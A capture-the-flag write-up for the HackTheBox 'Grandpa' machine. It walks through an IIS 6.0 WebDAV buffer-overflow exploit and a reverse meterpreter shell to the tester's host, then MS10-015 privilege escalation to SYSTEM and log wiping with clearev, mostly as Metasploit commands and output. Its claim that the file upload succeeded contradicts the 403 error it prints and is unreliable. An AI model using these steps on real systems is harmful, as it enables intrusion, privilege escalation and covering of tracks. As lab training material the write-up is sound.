HackTheBox - Grandpa (Easy)

Table of contents

Enumeration

Nmap scan

```
# Nmap 7.94 scan initiated Tue Jul 18 18:06:27 2023 as: nmap -A -p- -T5 -oN nmapResult
s.txt 10.129.140.154
Nmap scan report for 10.129.140.154
Host is up (0.027s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
|_http-title: Under Construction
|_http-server-header: Microsoft-IIS/6.0
| http-methods:
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE
MKCOL PROPPATCH
| http-webdav-scan:
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   WebDAV type: Unknown
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, P
ROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Server Date: Tue, 18 Jul 2023 22:07:26 GMT
|_  Server Type: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/s
ubmit/ .
# Nmap done at Tue Jul 18 18:07:32 2023 -- 1 IP address (1 host up) scanned in 64.45 s
econds
```

Microsoft IIS exploitation

According to Nmap, the web server accepts the PUT method, which allows us to upload files to the web server. Before trying to exploit this, let’s just make a simple test :

```
┌──(kali㉿kali)-[~/…/HTB/CTF/Easy/Grandpa]
└─$ echo 'File upload works !' > file.txt

┌──(kali㉿kali)-[~/…/HTB/CTF/Easy/Grandpa]
└─$ curl -X PUT http://10.129.140.154/file.txt --upload-file file.txt
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.d
td">
<HTML><HEAD><TITLE>The page cannot be saved</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
  BODY { font: 8pt/12pt verdana }
  H1 { font: 13pt/15pt verdana }
  H2 { font: 8pt/12pt verdana }
  A:link { color: red }
  A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>
```

```
<h1>The page cannot be saved</h1>
There is a problem saving the page to the Web site. This error can occur if you attemp
t to upload a file or modify a file in a directory that does not allow Write access.
<hr>
<p>Please try the following:</p>
<ul>
<li>Contact the Web site administrator if you believe this directory should allow writ
e access.</li>
</ul>
<h2>HTTP Error 403.3 - Forbidden: Write access is denied.<br>Internet Information Serv
ices (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Supp
ort Services</a> and perform a title search for the words <b>HTTP</b> and <b>403</b>.
</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
 and search for topics titled <b>Using Virtual Directories</b>, <b>Changing Default We
b Site Settings</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>
```

We successfully uploaded an arbitrary file to the web server. We can leverage this to upload a malicious ASP, ASPX or PHP file in order to gain a reverse shell on the system. To do so, we can use the Metasploit Framework :

It seems that the root of the web server is not writable. Let's use the Metasploit Framework to search for exploit for Webdav on Microsoft IIS 6.0 :

```
msf6 > search webdav iis 6.0

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Ch
eck  Description
   -  ----                                              ---------------  ----    --
---  -----------
   0  exploit/windows/iis/iis_webdav_scstoragepathfromurl  2017-03-26       manual  Ye
s    Microsoft IIS WebDav ScStoragePathFromUrl Overflow


Interact with a module by name or index. For example info 0, use 0 or use exploit/wind
ows/iis/iis_webdav_scstoragepathfromurl
```

There is one exploit that seems to be available for the current target. Let's try to use this exploit :

```
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/iis/ii
s_webdav_scstoragepathfromurl
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set LHOST tun0
LHOST => 10.10.14.93
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set RHOSTS 10.129.140.154
RHOSTS => 10.129.140.154
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 10.10.14.93:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (175686 bytes) to 10.129.140.154
[*] Meterpreter session 1 opened (10.10.14.93:4444 -> 10.129.140.154:1030) at 2023-07-
18 18:57:18 -0400

meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
```

We have a meterpreter reverse shell now. But it seems to have very low privileges. Let's migrate to another process :

```
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System
 [CROPPED]
 668   392   svchost.exe
 732   580   davcdata.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOW
S\system32\inetsrv\davcdata.exe
 736   392   svchost.exe
 [CROPPED]

meterpreter > migrate 732
[*] Migrating from 1648 to 732...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
```

Now, we have a stable meterpreter reverse shell as `NT AUTHORITY\NETWORK SERVICE`.

Local enumeration

Let's use the `post/multi/recon/local_exploit_suggester` module to enumerate potential local exploits for privilege escalation :

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use post/multi/recon/local
_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.129.140.154 - Collecting local exploits for x86/windows...
[*] 10.129.140.154 - 186 exploit checks are being tried...
[+] 10.129.140.154 - exploit/windows/local/ms10_015_kitrap0d: The service is running,
but could not be validated.
[+] 10.129.140.154 - exploit/windows/local/ms14_058_track_popup_menu: The target appea
rs to be vulnerable.
[+] 10.129.140.154 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to
be vulnerable.
[+] 10.129.140.154 - exploit/windows/local/ms15_051_client_copy_image: The target appe
ars to be vulnerable.
[+] 10.129.140.154 - exploit/windows/local/ms16_016_webdav: The service is running, bu
t could not be validated.
[+] 10.129.140.154 - exploit/windows/local/ms16_075_reflection: The target appears to
be vulnerable.
[+] 10.129.140.154 - exploit/windows/local/ppr_flatten_rec: The target appears to be v
ulnerable.
[*] Running check method for exploit 41 / 41
[*] 10.129.140.154 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulner
able?  Check Result
 -   ----                                                           ------------------
-----  ------------
 1   exploit/windows/local/ms10_015_kitrap0d                        Yes
The service is running, but could not be validated.
 2   exploit/windows/local/ms14_058_track_popup_menu                Yes
The target appears to be vulnerable.
 3   exploit/windows/local/ms14_070_tcpip_ioctl                     Yes
The target appears to be vulnerable.
 4   exploit/windows/local/ms15_051_client_copy_image               Yes
The target appears to be vulnerable.
 5   exploit/windows/local/ms16_016_webdav                          Yes
The service is running, but could not be validated.
 6   exploit/windows/local/ms16_075_reflection                      Yes
The target appears to be vulnerable.
 7   exploit/windows/local/ppr_flatten_rec                          Yes
The target appears to be vulnerable.
 8   exploit/windows/local/adobe_sandbox_adobecollabsync            No
Cannot reliably check exploitability.
[CROPPED]
```

Privilege escalation

Let's try to use the `exploit/windows/local/ms10_015_kitrap0d` module to exploit **MS10-015** in order to gain a shell as `NT AUTHORITY\SYSTEM` :

```
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_ki
trap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > set session 1
session => 1
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/local/ms10_015_kitrap0d) > run

[*] Started reverse TCP handler on 10.10.14.93:4444
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 3512 launched.
[*] Reflectively injecting the DLL into 3512...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175686 bytes) to 10.129.140.154
[*] Meterpreter session 2 opened (10.10.14.93:4444 -> 10.129.140.154:1032) at 2023-07-
18 19:02:59 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

We have now a reverse meterpreter shell as `NT AUTHORITY\SYSTEM`.

Clearing tracks

- Remove logs using the `clearev` command with the meterpreter

Vulnerabilities summary

Web server misconfiguration

Pentester evaluation

- Score : **9.8 CRITICAL**
- Impact : Allows an attacker to inject malicious code in memory to execute a reverse shell and gain a foothold on the system as `NT AUTHORITY\NETWORK SERVICE`.

Patch proposition

Multiple propositions :

- Disable PROPFIND requests
- Upgrade the operating system and install the latest version of Microsoft IIS.

MS10-015

Pentester evaluation

- Score : **9.3 CRITICAL**
- Impact : Allows an attacker to elevate his privileges in order to gain access to the system as `NT AUTHORITY\SYSTEM`.

Patch proposition

Update the system through Windows Update.

Tools used

- Nmap ← scan open ports and service versions
- curl ← send HTTP requests to the web server
- Metasploit Framework ← run exploits against the target system

Sources

- HTTP PUT method : https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/PUT
- MS10-015 (kitrap0d) : https://vk9-sec.com/kitrap0d-windows-kernel-could-allow-elevation-of-privilege-ms10-015-cve-2010-0232/
- NIST NVD CVE-2010-0232 (kitrap0d) : https://nvd.nist.gov/vuln/detail/CVE-2010-0232
- Microsoft IIS 6.0 BOF (Buffer Overflow) : https://nvd.nist.gov/vuln/detail/CVE-2017-7269